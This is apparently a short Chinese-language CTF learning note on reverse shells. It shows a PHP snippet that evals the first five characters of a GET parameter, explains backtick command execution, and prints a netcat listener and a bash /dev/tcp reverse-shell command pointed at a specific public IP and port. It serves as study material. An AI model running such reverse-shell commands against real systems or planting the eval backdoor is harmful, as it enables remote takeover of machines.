0%

反弹shell入门

反弹shell入门

起源于今天AA师傅的一个简单web,但是由于对反弹shell的一无所知和对某些知识的偏差认识浪费了一个下午没做出来
反弹shell需要对标准输入输出流重定向有一点基础的理解,大致原理不在赘述,只是做个记录

上很简单的源码

<?php
    highlight_file(__FILE__);

    if ($a = @$_GET['a'])
        eval(substr($a, 0, 5));

PHP的命令执行

反引号``等价于一个函数shell_exec(),传入一个参数cmd并在命令行中执行它,但是执行输出由返回值给出(所以我echo了一个下午在想为什么没有回显),使用sleep即可尝试是否进行了命令执行
这里构造$a;作为$a的前五个字符,eval函数即为执行`$a`;即在命令行下输入$a的内容。所以$a的内容前五个字符确定,后门即可任意代码执行。由于执行结果在函数返回值中无法获取,则需要通过外带的方法获取结果

反弹shell

一个方法就是通过受害机反向链接攻击机取得一个shell,即为反弹shell
通过nc -lvp port 监听攻击机的端口
在受害机上执行bash -i >& /dev/tcp/公网ip/port 0>&1,链接攻击机,这个语句将受害机的标准输入输出全部重定向到攻击机上,实现在攻击机端获取受害机shell,这里实操的时候这一句还不够,需要bash -c bash -i >& /dev/tcp/47.103.140.44/10005 0>&1"才成功连接到我的服务器上,弹shell的语句还可以构造出很多种,这只是一个无过滤的简单后门,暂时对弹shell这个操作进行入门罢了

curl外带

也可以通过curl对自己的服务器发包将数据外带,不过我还不会(菜)